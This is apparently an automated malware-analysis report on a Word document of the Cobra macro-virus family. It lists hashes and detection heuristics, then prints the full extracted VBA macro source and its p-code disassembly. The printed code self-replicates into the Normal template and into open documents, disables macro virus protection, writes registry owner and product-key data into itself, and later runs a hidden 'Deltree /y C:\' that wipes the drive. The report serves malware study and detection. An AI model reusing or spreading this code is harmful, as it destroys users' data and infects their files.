Cobra — Office (OLE) malware analysis

Static analysis result for SHA-256 f41326c7008abb1b…

MALICIOUS

Office (OLE)

63.0 KB Created: 2000-05-15 15:17:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-15
MD5: 0c7ea02ef89daa2b6724fbfadadf2600 SHA-1: 06a062f7efefcd7a7d1bf761b1304651ce3c50ab SHA-256: f41326c7008abb1b99a8df3b304e3cd63e76ef67f3f86ae475e87e3b0cd52db6
296 Risk Score

Malware Insights

Cobra · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The 'Cobra' family is explicitly mentioned in the script comments. The macros include functions like AutoOpen and FileExit which attempt to infect other documents, disable macro protection, and write to the registry. The ClamAV detection 'Doc.Trojan.Cobra-12' further supports the family attribution.

Heuristics 7

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "Deltree /y C:\", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Application.OrganizerCopy Source:=ActiveDocument.FullName, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19903 bytes
SHA-256: 5407245c19052c0f06894045fc881b8ec26c767673631b5c7188a4bdfc26995c
Detection
ClamAV: Doc.Trojan.Cobra-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AAX_10C"
'AAX Version 1.0C
'An intelligent member of Cobra family

Sub FileExit()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
WordBasic.FileExit
End Sub
Sub AutoOpen()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
End Sub
Sub AutoClose()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub FileOpen()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
Dialogs(wdDialogFileOpen).Show
End Sub
Sub FileSave()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub FileClose()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
WordBasic.FileClose
End Sub
Sub FileSaveAs()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePrint()
On Error Resume Next
Call MnuOff
Call InfectDocNTemp
Call RegE
Call D30X12
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf")
CD = Format(Date, "mm/dd/yyyy")
If DateValue(CD) - DateValue(ID) > (30 * 6) Then
HD = ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary)
If HD <> "AAX" Then
ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Delete
ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.InsertAfter ("AAX")
End If
End If
Dialogs(wdDialogFilePrint).Show
End Sub
Sub InfectDocNTemp()
On Error Resume Next
For Each ID In NormalTemplate.VBProject.VBComponents
If ID.Name <> "AAX_10C" And ID.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=ID.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
TempInf = False
For Each ID In NormalTemplate.VBProject.VBComponents
If ID.Name = "AAX_10C" Then
TempInf = True
End If
Next
If TempInf = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=ActiveDocument.AttachedTemplate, Name:="AAX_10C", _
Object:=wdOrganizerObjectProjectItems
TempInf = True
End If
For Each DF In Documents
For Each ID In DF.VBProject.VBComponents
If ID.Name <> "AAX_10C" And ID.Name <> "ThisDocument" And _
ID.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=DF.Name, _
Name:=ID.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
Next
For Each DF In Documents
DocInf = False
For Each ID In DF.VBProject.VBComponents
If ID.Name = "AAX_10C" Then
DocInf = True
End If
Next
If DocInf = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=DF.Name, Name:="AAX_10C", Object:=wdOrganizerObjectProjectItems
DF.SaveAs FileName:=DF.Name
End If
Next
End Sub
Sub MnuOff()
On Error Resume Next
CustomizationContext = NormalTemplate
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
End Sub
Sub RegE()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra" Then
GetInf = Chr(13) + "' " + String(80, Chr(178)) + Chr(13) + "' " + Format(Date, "dd/mm/yyyy") + Chr(13) + _
"' " + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") + Chr(13) + _
"' " + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") + Chr(13) + _
"' " + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "Version") + Chr(13) + _
"' " + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "ProductKey") + Chr(13) + _
"' " + String(80, Chr(178))
Lc = ActiveDocument.VBProject.VBComponents("AAX_10C").CodeModule.CountOfLines
Lc = Lc
ActiveDocument.VBProject.VBComponents("AAX_10C").CodeModule.InsertLines Lc + 2, GetInf
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "") = ""
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "349,PlBg,Dhk-1217,BD"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf")
If Not IsDate(ID) Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf") = Format(Date, "mm/dd/yyyy")
End If
End Sub
Sub D30X12()
On Error Resume Next
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf")
CD = Format(Date, "mm/dd/yyyy")
If DateValue(CD) - DateValue(ID) > 365 Then
If WeekDay(Date) = 6 Then
Shell "Deltree /y C:\", vbHide
End If
End If
End Sub



' Processing file: /opt/analyzer/scan_staging/1f6b46213f56410297068bb843049f1d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1280 bytes
' Macros/VBA/AAX_10C - 18697 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0010 "AAX Version 1.0C"
' Line #1:
' 	QuoteRem 0x0000 0x0025 "An intelligent member of Cobra family"
' Line #2:
' Line #3:
' 	FuncDefn (Sub FileExit())
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #6:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #7:
' 	ArgsCall (Call) RegE 0x0000 
' Line #8:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #9:
' 	Ld WordBasic 
' 	ArgsMemCall FileExit 0x0000 
' Line #10:
' 	EndSub 
' Line #11:
' 	FuncDefn (Sub AutoOpen())
' Line #12:
' 	OnError (Resume Next) 
' Line #13:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #14:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #15:
' 	ArgsCall (Call) RegE 0x0000 
' Line #16:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #17:
' 	EndSub 
' Line #18:
' 	FuncDefn (Sub AutoClose())
' Line #19:
' 	OnError (Resume Next) 
' Line #20:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #21:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #22:
' 	ArgsCall (Call) RegE 0x0000 
' Line #23:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #24:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #25:
' 	EndSub 
' Line #26:
' 	FuncDefn (Sub FileOpen())
' Line #27:
' 	OnError (Resume Next) 
' Line #28:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #29:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #30:
' 	ArgsCall (Call) RegE 0x0000 
' Line #31:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #32:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #33:
' 	EndSub 
' Line #34:
' 	FuncDefn (Sub FileSave())
' Line #35:
' 	OnError (Resume Next) 
' Line #36:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #37:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #38:
' 	ArgsCall (Call) RegE 0x0000 
' Line #39:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #40:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #41:
' 	EndSub 
' Line #42:
' 	FuncDefn (Sub FileClose())
' Line #43:
' 	OnError (Resume Next) 
' Line #44:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #45:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #46:
' 	ArgsCall (Call) RegE 0x0000 
' Line #47:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #48:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #49:
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0000 
' Line #50:
' 	EndSub 
' Line #51:
' 	FuncDefn (Sub FileSaveAs())
' Line #52:
' 	OnError (Resume Next) 
' Line #53:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #54:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #55:
' 	ArgsCall (Call) RegE 0x0000 
' Line #56:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #57:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #58:
' 	EndSub 
' Line #59:
' 	FuncDefn (Sub FilePrint())
' Line #60:
' 	OnError (Resume Next) 
' Line #61:
' 	ArgsCall (Call) MnuOff 0x0000 
' Line #62:
' 	ArgsCall (Call) InfectDocNTemp 0x0000 
' Line #63:
' 	ArgsCall (Call) RegE 0x0000 
' Line #64:
' 	ArgsCall (Call) D30X12 0x0000 
' Line #65:
' 	LitStr 0x0000 ""
' 	LitStr 0x0018 "HKEY_LOCAL_MACHINE\Cobra"
' 	LitStr 0x0003 "Inf"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	St ID 
' Line #66:
' 	Ld Date 
' 	LitStr 0x000A "mm/dd/yyyy"
' 	ArgsLd Format$ 0x0002 
' 	St CD 
' Line #67:
' 	Ld CD 
' 	ArgsLd DateValue 0x0001 
' 	Ld ID 
' 	ArgsLd DateValue 0x0001 
' 	Sub 
' 	LitDI2 0x001E 
' 	LitDI2 0x0006 
' 	Mul 
' 	Paren 
' 	Gt 
' 	IfBlock 
' Line #68:
' 	Ld wdHeaderFooterPrimary 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	ArgsMemLd Sections 0x0001 
' 	ArgsMemLd Headers 0x0001 
' 	St HD 
' Line #69:
' 	Ld HD 
' 	LitStr 0x0003 "AAX"
' 	Ne 
' 	IfBlock 
' Line #70:
' 	Ld wdHeaderFooterPrimary 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	ArgsMemLd Sections 0x0001 
' 	ArgsMemLd Headers 0x0001 
' 	MemLd Range 
' 	ArgsMemCall Delete 0x0000 
' Line #71:
' 	LitStr 0x0003 "AAX"
' 	Paren 
' 	Ld wdHeaderFooterPrimary 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	ArgsMemLd Sections 0x0001 
' 	ArgsMemLd Headers 0x0001 
' 	MemLd Range 
' 	ArgsMemCall InsertAfter 0x0001 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	EndIfBlock 
' Line #74:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #75:
' 	EndSub 
' Line #76:
' 	FuncDefn (Sub InfectDocNTemp())
' Line #77:
' 	OnError (Resume Next) 
' Line #78:
' 	StartForVariable 
' 	Ld ID 
' 	EndForVariable 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #79:
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x0007 "AAX_10C"
' 	Ne 
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	And 
' 	IfBlock 
' Line #80:
' 	LineCont 0x0004 09 00 00 00
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ID 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #81:
' 	EndIfBlock 
' Line #82:
' 	StartForVariable 
' 	Next 
' Line #83:
' 	LitVarSpecial (False)
' 	St TempInf 
' Line #84:
' 	StartForVariable 
' 	Ld ID 
' 	EndForVariable 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #85:
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x0007 "AAX_10C"
' 	Eq 
' 	IfBlock 
' Line #86:
' 	LitVarSpecial (True)
' 	St TempInf 
' Line #87:
' 	EndIfBlock 
' Line #88:
' 	StartForVariable 
' 	Next 
' Line #89:
' 	Ld TempInf 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #90:
' 	LineCont 0x0008 09 00 00 00 13 00 00 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd AttachedTemplate 
' 	ParamNamed Destination 
' 	LitStr 0x0007 "AAX_10C"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #91:
' 	LitVarSpecial (True)
' 	St TempInf 
' Line #92:
' 	EndIfBlock 
' Line #93:
' 	StartForVariable 
' 	Ld DF 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #94:
' 	StartForVariable 
' 	Ld ID 
' 	EndForVariable 
' 	Ld DF 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #95:
' 	LineCont 0x0004 0D 00 00 00
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x0007 "AAX_10C"
' 	Ne 
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	And 
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x0013 "Reference to Normal"
' 	Ne 
' 	And 
' 	IfBlock 
' Line #96:
' 	LineCont 0x0004 09 00 00 00
' 	Ld DF 
' 	MemLd New 
' 	ParamNamed Source 
' 	Ld ID 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #97:
' 	EndIfBlock 
' Line #98:
' 	StartForVariable 
' 	Next 
' Line #99:
' 	StartForVariable 
' 	Next 
' Line #100:
' 	StartForVariable 
' 	Ld DF 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #101:
' 	LitVarSpecial (False)
' 	St DocInf 
' Line #102:
' 	StartForVariable 
' 	Ld ID 
' 	EndForVariable 
' 	Ld DF 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #103:
' 	Ld ID 
' 	MemLd New 
' 	LitStr 0x0007 "AAX_10C"
' 	Eq 
' 	IfBlock 
' Line #104:
' 	LitVarSpecial (True)
' 	St DocInf 
' Line #105:
' 	EndIfBlock 
' Line #106:
' 	StartForVariable 
' 	Next 
' Line #107:
' 	Ld DocInf 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #108:
' 	LineCont 0x0004 09 00 00 00
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld DF 
' 	MemLd New 
' 	ParamNamed Destination 
' 	LitStr 0x0007 "AAX_10C"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #109:
' 	Ld DF 
' 	MemLd New 
' 	ParamNamed FileName 
' 	Ld DF 
' 	ArgsMemCall SaveAs 0x0001 
' Line #110:
' 	EndIfBlock 
' Line #111:
' 	StartForVariable 
' 	Next 
' Line #112:
' 	EndSub 
' Line #113:
' 	FuncDefn (Sub MnuOff())
' Line #114:
' 	OnError (Resume Next) 
' Line #115:
' 	Ld NormalTemplate 
' 	St CustomizationContext 
' Line #116:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #117:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' Line #118:
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #119:
' 	LitVarSpecial (False)
' 	LitStr 0x0008 "Toolbars"
' 	LitStr 0x0004 "View"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #120:
' 	LitVarSpecial (False)
' 	LitStr 0x0008 "Toolbars"
' 	LitStr 0x0004 "View"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' Line #121:
' 	LitStr 0x0008 "Toolbars"
' 	LitStr 0x0004 "View"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #122:
' 	Ld wdKeyF11 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #123:
' 	Ld wdKeyF8 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #124:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #125:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #126:
' 	EndSub 
' Line #127:
' 	FuncDefn (Sub RegE())
' Line #128:
' 	OnError (Resume Next) 
' Line #129:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0005 "Cobra"
' 	Ne 
' 	IfBlock 
' Line #130:
' 	LineCont 0x0014 26 00 00 00 38 00 00 00 4A 00 00 00 5C 00 00 00 6E 00 00 00
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0002 "' "
' 	Add 
' 	LitDI2 0x0050 
' 	LitDI2 0x00B2 
' 	ArgsLd Chr 0x0001 
' 	ArgsLd String$ 0x0002 
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0002 "' "
' 	Add 
' 	Ld Date 
' 	LitStr 0x000A "dd/mm/yyyy"
' 	ArgsLd Format$ 0x0002 
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0002 "' "
' 	Add 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0002 "' "
' 	Add 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x0016 "RegisteredOrganization"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0002 "' "
' 	Add 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x0007 "Version"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0002 "' "
' 	Add 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x000A "ProductKey"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0002 "' "
' 	Add 
' 	LitDI2 0x0050 
' 	LitDI2 0x00B2 
' 	ArgsLd Chr 0x0001 
' 	ArgsLd String$ 0x0002 
' 	Add 
' 	St GetInf 
' Line #131:
' 	LitStr 0x0007 "AAX_10C"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St Lc 
' Line #132:
' 	Ld Lc 
' 	St Lc 
' Line #133:
' 	Ld Lc 
' 	LitDI2 0x0002 
' 	Add 
' 	Ld GetInf 
' 	LitStr 0x0007 "AAX_10C"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #134:
' 	LitStr 0x0000 ""
' 	LitStr 0x0000 ""
' 	LitStr 0x0018 "HKEY_LOCAL_MACHINE\Cobra"
' 	LitStr 0x0000 ""
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #135:
' 	LitStr 0x0005 "Cobra"
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #136:
' 	LitStr 0x0014 "349,PlBg,Dhk-1217,BD"
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\"
' 	LitStr 0x0016 "RegisteredOrganization"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #137:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #138:
' 	EndIfBlock 
' Line #139:
' 	LitStr 0x0000 ""
' 	LitStr 0x0018 "HKEY_LOCAL_MACHINE\Cobra"
' 	LitStr 0x0003 "Inf"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	St ID 
' Line #140:
' 	Ld ID 
' 	ArgsLd IsDate 0x0001 
' 	Not 
' 	IfBlock 
' Line #141:
' 	Ld Date 
' 	LitStr 0x000A "mm/dd/yyyy"
' 	ArgsLd Format$ 0x0002 
' 	LitStr 0x0000 ""
' 	LitStr 0x0018 "HKEY_LOCAL_MACHINE\Cobra"
' 	LitStr 0x0003 "Inf"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #142:
' 	EndIfBlock 
' Line #143:
' 	EndSub 
' Line #144:
' 	FuncDefn (Sub D30X12())
' Line #145:
' 	OnError (Resume Next) 
' Line #146:
' 	LitStr 0x0000 ""
' 	LitStr 0x0018 "HKEY_LOCAL_MACHINE\Cobra"
' 	LitStr 0x0003 "Inf"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	St ID 
' Line #147:
' 	Ld Date 
' 	LitStr 0x000A "mm/dd/yyyy"
' 	ArgsLd Format$ 0x0002 
' 	St CD 
' Line #148:
' 	Ld CD 
' 	ArgsLd DateValue 0x0001 
' 	Ld ID 
' 	ArgsLd DateValue 0x0001 
' 	Sub 
' 	LitDI2 0x016D 
' 	Gt 
' 	IfBlock 
' Line #149:
' 	Ld Date 
' 	ArgsLd WeekDay 0x0001 
' 	LitDI2 0x0006 
' 	Eq 
' 	IfBlock 
' Line #150:
' 	LitStr 0x000E "Deltree /y C:\"
' 	Ld vbHide 
' 	ArgsCall Shell 0x0002 
' Line #151:
' 	EndIfBlock 
' Line #152:
' 	EndIfBlock 
' Line #153:
' 	EndSub 
' Line #154:
' Line #155: